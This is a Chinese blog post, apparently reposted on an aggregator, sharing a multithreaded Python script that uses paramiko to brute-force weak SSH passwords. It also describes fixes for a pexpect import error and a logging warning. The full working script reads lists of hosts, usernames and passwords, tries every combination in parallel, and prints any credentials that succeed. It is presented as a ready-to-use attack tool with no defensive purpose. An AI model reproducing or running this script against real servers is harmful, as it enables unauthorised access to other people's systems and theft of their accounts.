python ssh弱口令爆破多线程脚本及遇到的一些错误与问题

Posted zhengjim

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了python ssh弱口令爆破多线程脚本及遇到的一些错误与问题相关的知识,希望对你有一定的参考价值。

练习写了个SSH弱口令爆破多线程脚本,遇到的问题

1、一开始想import pexpect 中的pxssh 然而却一直该有错误,

ImportError: cannot import name spawn

google了下问题都说的很模糊也不清楚。有的说是pexpect模块没安装好,有的说是python import的问题,因为在lib中已经有了spawn模块,与pexpect模块中的spawn重名了,所以报错。但也都没说清楚该这么弄。最后在here这里看到了问题原因,原来是pexpect根本不支持windows,我们可以用paramiko模块来解决这个问题。

2、写完代码后,使用多线程后,虽然不报错,但结果会有警告,

提示:No handlers could be found for logger “paramiko.transport”

 

 

 

我在这个网站this_web找到解决方案。只要加入一行代码就行了。

paramiko.util.log_to_file("filename.log")

因为我们没有配置日志,所以根应用程序和模块不知道在哪里发送日志。所以只要将所有的连接都记录到文件中就可以啦。

代码丑将就看看。

#!usr/bin/env python
#!coding=utf-8

__author__=\'zhengjim\'

import paramiko
from threading import Thread

def connect(host,user,pwd):
    try:
        ssh=paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(hostname=host,username=user,password=pwd,timeout=5)
        ssh.close()
        print \'破解成功!用户名:\'+ user +\',密码:\' + pwd + \',主机IP:\'+ host
    except:
        pass

paramiko.util.log_to_file("filename.log") 
host=open(\'host.txt\')
for line in host:
    host=line.strip(\'\\n\')
    print \'开始爆破主机:\'+host
    user=open(\'user.txt\')
    for line in user:
        user=line.strip(\'\\n\')
        pwd =open(\'pwd.txt\')
        for line in pwd:
            pwd = line.strip(\'\\n\')
            t=Thread(target=connect,args=(host,user,pwd))
            t.start()

 

  

目录下需要host.txt,user.txt,pwd.txt三个文件

还有个问题就是,因为使用多线程,并且对多线程不太了解,所以程序不能在匹配到正确账号密码后跳出循环。望大牛可以教教我。~

 

以上是关于python ssh弱口令爆破多线程脚本及遇到的一些错误与问题的主要内容,如果未能解决你的问题,请参考以下文章

python多线程ssh爆破如何实现与防范?

python 写的http后台弱口令爆破工具

弱口令爆破总结

常见端口漏洞合集

一个非常简单易懂的WIFI密码爆破python脚本

msf各种弱口令爆破